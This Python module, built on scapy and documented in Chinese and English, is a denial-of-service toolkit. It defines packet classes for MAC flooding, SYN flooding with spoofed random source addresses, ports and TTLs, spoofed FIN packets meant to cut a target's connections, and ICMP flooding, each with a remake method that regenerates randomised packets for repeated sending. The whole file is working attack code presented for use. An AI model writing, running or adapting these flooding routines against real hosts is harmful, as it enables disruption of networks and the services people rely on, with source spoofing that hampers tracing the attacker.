"""
这是一个用于进行各类洪水攻击的模块，包括著名的SYN洪水攻击。
使用在该模块中定义的包并使用sr模块中的sendf函数去发送它。

This is a model used to start all kinds of flood attacl including the famous SYN flooding.
Make packet which defined in this model and use the sendf funcion which defined in the sr model to send it.
And you can't press scapy packet to the send fucntion to send it.

the introduce for funcion
sendf: send the packet which defined in the model and designed for flood attack
randhex: return a random hex number in string type
randip: return a random IPv4 address
randmac: return a random mac address
randport: return a random port range from 1 to 65535
randttl: return a random ttl range fron 128 to 225

the introduce for packets
MacPacket: designed for MAC flooding
SynPacket: designed for syn flooding
FinPacket: designed for random cut for rarget connection
IcmpPacket: designed for death icmp flooding
"""

########
#import#
########

from scapy.all import IP, TCP, ICMP, Ether, ARP
from scapy.all import send, sendp, RandIP
from .hackrandom import *
    
"""
Then it will come to the packet defination.
Every packet class have remake method to remake the packet.
The send function ues it to make different packet to send.
"""

################
#the MAC packet#
################

class MacPacket:
    def __init__(self):
        '''
        Mac packet with IP and ICMP.
        The layer of this packet is Ether / IP / ICMP.
        Use random source mac address, destination mac address, source IP address and destination IP address to make a packet.
        '''
        self.__packet__ = Ether(src=randmac(), dst=randmac()) / IP(src=randip(), dst=randip())
        self.send_type = 'sendp'
    
    @property
    def packet(self):
        '''
        Return another packet which the same as self.__packet__
        '''
        return self.__packet__["Ether"] / self.__packet__["IP"]
    
    def remake(self):
        '''
        Remake a packet fill with random source mac address, destination mac address, source IP address, destination IP address and return it.
        '''
        self.__packet__['Ether'].src = randmac()
        self.__packet__['Ether'].dst = randmac()
        self.__packet__['IP'].src = randip()
        self.__packet__['IP'].dst = randip()
        return self.packet

#################
#the TCP packets#
#################

class SynPacket:
    def __init__(self, dst, dport):
        '''
        This is syn Packet of TCP.
        Use dst and dport to make a syn packet which has random sourse ip, ttl and sourse port.
        The remake method fill the previer packet with new random sourse ip, ttl and sourse port.
        
        dst: destination ip
        dport: destination port
        '''
        self.__packet__ = IP(src=randip(), dst=dst, ttl=randttl()) / TCP(sport=randport(), dport=dport, flags="S")
        self.send_type = 'send'
    
    @property
    def packet(self):
        return self.__packet__["IP"] / self.__packet__["TCP"]
    
    def remake(self):
        '''
        Fill previer packet with new random sourse ip, ttl and sourse port and return it.
        '''
        self.__packet__["IP"].src = randip()
        self.__packet__["IP"].ttl = randttl()
        self.__packet__["TCP"].sport = randport()
        return self.packet

class FinPacket:
    def __init__(self, dst, dport):
        '''
        This is FIN packet of TCP.
        Use dst and dport to cutdown the connection between rarget ip and random ip.
        If the connection is exsits,it will be killed.
        
        dst: destination ip
        dport: destination port
        '''
        self.__packet__ = IP(src=randip(), dst=dst, ttl=randttl()) / TCP(sport=randport(), dport=dport, flags="F")
        self.send_type = 'send'
    
    @property
    def packet(self):
        '''
        Return another packet whick is the same as self.__packet__
        '''
        return self.__packet__["IP"] / self.__packet__["TCP"]
    
    def remake(self):
        '''
        Remake a packet which fill with different source ip, ttl and source port and return it.
        '''
        self.__packet__["IP"].src = randip()
        self.__packet__["IP"].ttl = randttl()
        self.__packet__["TCP"].sport = randport()
        return self.packet

#################
#the ICMP packet#
#################

class IcmpPacket:
    def __init__(self, dst):
        '''
        This is a ICMP packet which based on IP packet and used to control the network.
        The type and code of this packet will be 0.
        And the source ip will of the IP layer will be random.
        
        dst: destination ip
        '''
        self.__packet__ = IP(src=randip(), dst=dst) / ICMP(type=0)
        self.send_type = 'send'
    
    @property
    def packet(self):
        '''
        Return another packet which is the same as self.__packet__
        '''
        return self.__packet__["IP"] / self.__packet__["ICMP"]
    
    def remake(self):
        '''
        Remake a packet with random source ip and return it.
        '''
        self.__packet__["IP"].src = randip()
        return self.packet

class HttpPacket:
    def __init__(self):
        pass
